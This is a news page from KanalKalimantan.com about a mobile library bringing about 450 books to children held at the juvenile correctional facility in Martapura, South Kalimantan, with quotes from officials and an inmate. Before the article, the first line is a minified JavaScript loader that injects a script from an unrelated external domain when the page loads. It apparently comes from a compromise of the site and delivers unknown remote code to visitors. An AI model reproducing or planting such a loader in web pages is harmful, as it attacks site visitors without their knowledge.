(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Lembaga Permasyarakatan (Lapas) Khusus Anak Kelas I A Martapura kembali kedatangan Perpustakaan Keliling (Pusling) Dispersip Kalsel, Rabu (22/6/2020).
Kedatangan mobil Pusling ini dipimpin langsung Kepala Dinas Perpustakaan dan Kearsipan Provinsi Kalsel Nurliani Dardie yang disambut Kalapas Anak Kelas I A Martapura Rudi Sarjono. Kedatangan Pusling ini juga bersama dua maskot baca Kalsel ‘Si Raja Baca’ dan ‘Si Ratu Baca’ yang disambut ceria oleh anak- anak.
Pada kunjungan kali ini, ada 4 buah mobil dengan membawa sekitar 450 buku. Berbeda dengan sebelumnya, mobil Pusling tidak dimasukkan ke dalam Lapas anak. “Biasanya sebelum terpaan Covid-19 ini kami sebulan 1-3 kali berkunjung ke Lapas Anak Kelas I A Martapura. Dan kami memasukkan mobil jadi terserah anak- anak saja memilih buku yang ingin dibaca. Untuk sekarang kami menyortir buku guna mencegah penyebaran Covid-19 ini ke anak-anak,” terang Bunda Nunung, sapaan Nurliani Dardie.
Buku-buku yang dibawa sekarang berbagai jenis buku bacaan seperti novel, buku agama, ilmu Pengetahuan dan keterampilan. Nantinya, pihak Pusling dalam kunjungan berikutnya akan mengganti dengan bacaan yang baru.
Dalam kunjungan kali ini Bunda Nunung juga mengajak bercengkrama bersama anak- anak penghuni Lapas Anak Kelas I A Martapura. “Intinya mereka kapok dan tidak akan mengulangi lagi, kesalahan dari semua pihak lah yang membuat mereka seperti ini , kurangnya pengawasan dari orang tua dan masyarakat juga termasuk,” paparnya.
Bunda Nunung juga menyampaikan peranan penting Pusling ini untuk Lapas Anak Kelas I A Martapura ini guna menambah wawasan dan ilmu pengetahuan anak-anak. Karena ilmu pengetahuan tidak hanya ada di bangku sekolah, tapi bisa lewat dari buku-buku.
Sementara Kalapas Rudi Sarjono menyambut baik kedatangan Pusling karena sangat bermanfaat bagi para anak- anak yang berjumlah 43 anak di tempatnya. “Kami di sini juga ada Perpustakaan sekitar 1.300 buku. Datangnya Pusling ini bersama Ibu Nurliani ini sangat bagus karena minat baca anak- anak penghuni Lapas Anak Kelas I A Martapura sangat tinggi,” ungkapnya.
AB (11) salah satu penghuni Lapas Anak Kelas I A Martapura yang suka membaca pun ini sangat senang datangnya Pusling ini. “Saya sangat senang datangnya Pusling ini tentunya untuk menambah ilmu pengetahuan saya, apalagi ini di pinjamkan jadi sesuka hati untuk membaca apa saja dan tentunya mengisi waktu di Lapas Anak Kelas I A Martapura, semoga Pusling ini terus datang kemari,” harapnya. (KanalKalimantan.com/putra)
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.